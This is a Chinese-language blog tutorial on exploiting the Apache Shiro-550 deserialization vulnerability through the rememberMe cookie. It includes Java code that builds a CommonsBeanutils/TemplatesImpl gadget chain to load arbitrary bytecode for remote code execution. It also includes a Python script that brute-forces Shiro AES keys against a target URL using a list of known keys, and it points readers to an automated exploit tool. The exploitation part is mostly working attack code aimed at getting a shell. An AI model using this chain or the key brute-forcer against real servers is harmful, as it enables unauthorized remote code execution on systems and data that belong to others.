Java-Shiro反序列化漏洞

文章发布时间:

最后更新时间:

文章总字数:
1.4k

预计阅读时间:
6 分钟

Shiro反序列化漏洞利用

基本概念及漏洞成因

shiro概念:

Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用、同时也能提供健壮的安全性。Apache Shiro反序列化漏洞分为两种:Shiro-550Shiro-721,而本篇中主要讨论的是Shiro-550,Shiro-721主要采用现成工具来爆破密钥和写入木马。

漏洞成因:

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

那么,Payload产生的过程: 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值 在整个漏洞利用过程中,比较重要的是AES加密的密钥,知道密钥就可以自己对序列化之后的ser.bin进行AES加密再base64编码然后通过cookie打过去(记得打之前要把JSESSIONID删掉,因为如果不删就会忽略掉rememberme)。漏洞根本成因是固定 key 加密,Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550)

漏洞探测:

勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell。

具体加密和环境搭建流程参考:

https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/

漏洞利用

手工利用

既然是反序列化的漏洞利用,自然就要用到Gadget链,我们可以先用urldns链来检测是否存在反序列化漏洞,因为urldns仅需要jdk本身的包即可,且不限制jdk版本。

检测出存在之后就要使用更有威力的链了,之前学习过的CC链这里却无法使用,因为shiro下并不带有CommonCollections包,必须找到不依赖CC包的链。

前置知识补充:JavaBean

在Java中,有很多class的定义都符合这样的规范:

  • 若干private实例字段;

  • 通过public方法来读写实例字段。

如果读写方法符合以下这种命名规范:

1
2
3
4
// 读方法:
public Type getXyz()
// 写方法:
public void setXyz(Type value)

那么这种class被称为JavaBean。

不依赖CC包的CB链

CB链就是commonBeanutils链,主要原理是通过PropertyUtils.getProperty来获得TemplatesImpl.getOutputProperties,从而调用到TemplatesImpl.newTransformer后面和CC3一样,任意类动态加载执行代码,而调用PropertyUtils.getProperty的过程又和CC2类似,都是通过优先队列的readObject。

简要流程:PriorityQueue.readObject
–>BeanComparator.compare
–>PropertyUtils.getProperty
–>TemplatesImpl.getOutputProperties
–>TemplatesImpl.newTransformer
–>defineClass
–>newInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecode = c.getDeclaredField("_bytecodes");
byte[] code = Files.readAllBytes(Paths.get("C://Users/19670/IdeaProjects/cc1test/target/classes/cc3demo.class"));
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{code});
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> queue= new PriorityQueue<>(2,BeanComparator);
queue.add(1);
queue.add(1);
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
setFieldValue(queue, "queue", new Object[]{templates, templates});
serialize(queue);

密钥不对的情况

Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。下面给出大佬 Veraxy 的脚本,通过自定义密钥字典,可以一个一个试,密钥正确返回包中的Set-Cookie:rememberMe=deleteMe就会消失。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import base64
import uuid
import requests
from Crypto.Cipher import AES

def encrypt_AES_GCM(msg, secretKey):
aesCipher = AES.new(secretKey, AES.MODE_GCM)
ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
return (ciphertext, aesCipher.nonce, authTag)

def encode_rememberme(target):
keys = ['kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==','66v1O8keKNV3TTcGPK1wzg==', 'SDKOLKn2J1j/2BHjeZwAoQ=='] # 此处简单列举几个密钥
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes

file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
for key in keys:
try:
# CBC加密
encryptor = AES.new(base64.b64decode(key), mode, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()},timeout=3,verify=False, allow_redirects=False)
if res.headers.get("Set-Cookie") == None:
print("正确KEY :" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
# GCM加密
encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
res = requests.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=3, verify=False, allow_redirects=False)

if res.headers.get("Set-Cookie") == None:
print("正确KEY:" + key)
return key
else:
if 'rememberMe=deleteMe;' not in res.headers.get("Set-Cookie"):
print("正确key:" + key)
return key
print("正确key:" + key)
return key
except Exception as e:
print(e)

序列化之后的操作

序列化之后得到字节序列,可以找一个脚本将这个序列AES加密再base64加密,然后通过cookie传进去即可。

工具利用

直接用java运行ShiroExploit,自动利用dnsurl检测出100多个密钥中有效的,然后自动根据选择的链生成payload。

image-20230721195347737